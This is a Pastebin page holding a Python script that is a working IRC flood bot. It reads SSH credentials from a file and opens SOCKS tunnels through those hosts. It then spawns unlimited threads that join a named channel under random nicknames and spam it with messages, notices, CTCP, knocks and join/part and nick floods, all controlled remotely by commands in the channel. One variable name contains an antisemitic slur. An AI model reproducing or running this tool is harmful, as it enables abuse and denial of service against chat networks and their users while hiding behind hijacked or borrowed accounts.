Advertisement
Guest User

Untitled

a guest
Sep 8th, 2017
166
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 5.29 KB | None | 0 0
  1. #!/usr/bin/python
  2. import os
  3. import sys
  4. import socket
  5. import random
  6. import time
  7. import socks
  8. from threading import Thread
  9.  
  10. network = 'irc.bikcmp.info'
  11. port = 6667
  12. channel = '#help'
  13. message = 'hello, bicycle computers here.  irc.bikcmp.info #help for all your IRC needs!'
  14. join = 1
  15. knock = 0
  16. joinpart = 1
  17. nickspam = 1
  18. chat = 1
  19. pmsg = 1
  20. ctcp = 1
  21. action = 1
  22. notice = 1
  23.  
  24. accounts = 'accounts.txt'
  25. baseport = 9050
  26. maxletters = 7
  27. alphabet = 'qwertyuiopasdfghjklzxcvbnm'
  28. acctfile = open(accounts,'r')
  29. lines=0
  30. ssh_pid = 0
  31. for line in acctfile:
  32.   ssh_data = line
  33.   ssh_exploded = ssh_data.split(',')
  34.   ssh_host = ssh_exploded[0]
  35.   ssh_user = ssh_exploded[1]
  36.   ssh_pass = ssh_exploded[2]
  37.   ssh_port = ssh_exploded[3]
  38.   ssh_pid = os.fork()
  39.   if not ssh_pid:
  40.     os.execlp("/usr/bin/expect","expect","./ssh.exp",ssh_user,ssh_pass,ssh_host,ssh_port.replace("\n",""),str(baseport+lines))
  41.     break
  42.   else:
  43.     lines += 1
  44. if ssh_pid:
  45.   acctfile.close()
  46.  
  47. class bot(Thread):
  48.   def __init__ (self,seed):
  49.     Thread.__init__(self)
  50.     self.seed = seed
  51.  
  52.   def lrecv(self):
  53.     c, s = '', ''
  54.     while c != '\n':
  55.       c = self.irc.recv(1)
  56.       if c == '':  # connection closed
  57.         break
  58.       s += c
  59.     return s.strip('\r\n')
  60.  
  61.   def run(self):
  62.     global joinpart
  63.     global nickspam
  64.     global chat
  65.     global action
  66.     global pmsg
  67.     global ctcp
  68.     global notice
  69.     global knock
  70.     global join
  71.     global message
  72.  
  73.     nick=''
  74.     self.joined=0
  75.     for x in random.sample(alphabet,random.randint(2,maxletters)):
  76.       nick+=x
  77.     self.irc = socks.socksocket ( socket.AF_INET, socket.SOCK_STREAM )
  78.     self.irc.setproxy( socks.PROXY_TYPE_SOCKS5,"localhost",random.randint(baseport,baseport+lines+1) )
  79.     self.irc.connect ( ( network, port ) )
  80.    
  81.     self.irc.send ( 'USER ' + nick + self.seed + ' ' + nick + self.seed + ' ' + nick + self.seed + ' :' + nick + self.seed + '\r\n' )
  82.     self.irc.send ( 'NICK ' + nick + self.seed + '\r\n' )
  83.  
  84.  
  85.     while 1:
  86.       line = self.lrecv()
  87.       if line.find ( '001' ) != -1:
  88.         break
  89.     self.irc.send ( 'JOIN ' + channel + '\r\n' )
  90.     self.spamcount = 0
  91.     while 1:
  92.       data=self.lrecv()
  93.       if data.find ( 'PING' ) != -1:
  94.         self.irc.send ( 'PONG ' + data.split() [ 1 ] + '\r\n' )
  95.       if data.find ( '404' ) != -1:
  96.         self.joined = 0
  97.       if data.find ( '+i' ) != -1:
  98.         knock = 1
  99.       if knock == 1:
  100.         self.irc.send ( 'KNOCK ' + channel + ' :' + message + '\007\r\n' )
  101.         time.sleep ( .5 )
  102.       if data.find ( 'newmsg ' ) != -1:
  103.         message = data.split() [ 1 ]
  104.       if data.find ( 'startnickspam' ) != -1:
  105.         join = 1
  106.         nickspam = 1
  107.       if data.find ( 'startjoinpart' ) != -1:
  108.         join = 1
  109.         joinpart = 1
  110.       if data.find ( 'stopnickspam' ) != -1:
  111.         nickspam = 0
  112.       if data.find ( 'stopjoinpart' ) != -1:
  113.         joinpart = 0
  114.       if data.find ( 'startchat' ) != -1:
  115.         chat = 1    
  116.       if data.find ( 'stopchat' ) != -1:
  117.         chat = 0
  118.       if data.find ( 'startpmsg' ) != -1:
  119.         chat = 1    
  120.         pmsg = 1
  121.       if data.find ( 'stoppmsg' ) != -1:
  122.         pmsg = 0
  123.       if data.find ( 'startctcp' ) != -1:
  124.         chat = 1    
  125.         ctcp = 1
  126.       if data.find ( 'stopctcp' ) != -1:
  127.         ctcp = 0
  128.       if data.find ( 'startaction' ) != -1:
  129.         chat = 1
  130.         action = 1
  131.       if data.find ( 'stopaction' ) != -1:
  132.         action = 0
  133.       if data.find ( 'startnotice' ) != -1:
  134.         chat = 1    
  135.         notice = 1
  136.       if data.find ( 'stopnotice' ) != -1:
  137.         notice = 0
  138.       if data.find ( 'startknock' ) != -1:
  139.         knock = 1
  140.         join = 0
  141.       if data.find ( 'stopknock' ) != -1:
  142.         knock = 0
  143.       if data.find ( 'startjoin' ) != -1:
  144.         join = 1
  145.         knock = 0
  146.       if data.find ( 'stopjoin' ) != -1:
  147.         join = 0
  148.       if self.joined == 0:
  149.         if join == 1:
  150.           self.irc.send ( 'JOIN ' + channel + '\r\n' )
  151.           self.joined = 1
  152.           time.sleep ( .5 )
  153.       if self.joined == 1:
  154.         knock = 0
  155.         self.spamcount += 1
  156.         if chat == 1:
  157.           loljews = random.randint(1,4)
  158.           if loljews == 1:
  159.             if pmsg == 1:
  160.               self.irc.send ( 'PRIVMSG ' + channel + ' :' + message + '\007\r\n' )
  161.           if loljews == 2:
  162.             if notice == 1:
  163.               self.irc.send ( 'NOTICE ' + channel + ' :' + message + '\007\r\n' )
  164.           if loljews == 3:
  165.             if ctcp == 1:
  166.               self.irc.send ( 'PRIVMSG ' + channel + ' :\001VERSION ' + message + '\007\001\r\n' )
  167.           if loljews == 4:
  168.             if action == 1:
  169.               self.irc.send ( 'PRIVMSG ' + channel + ' :\001ACTION ' + message + '\007\001\r\n' )
  170.         if self.spamcount == 5:
  171.           if nickspam == 1:
  172.             nick=''
  173.             for x in random.sample(alphabet,random.randint(2,maxletters)):
  174.               nick+=x
  175.             self.irc.send ( 'NICK ' + nick + str(random.randint(0,9999)) + '\r\n')
  176.           if joinpart == 1:    
  177.             self.irc.send ( 'PART ' + channel + '\r\n' )
  178.             self.joined = 0
  179.           self.spamcount = 0
  180.         time.sleep ( .5 )
  181.  
  182. def spawn():
  183.   while True:
  184.     bot_instance = bot(str(random.randint(1,9999)))
  185.     bot_instance.start()
  186.  
  187. spawn()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement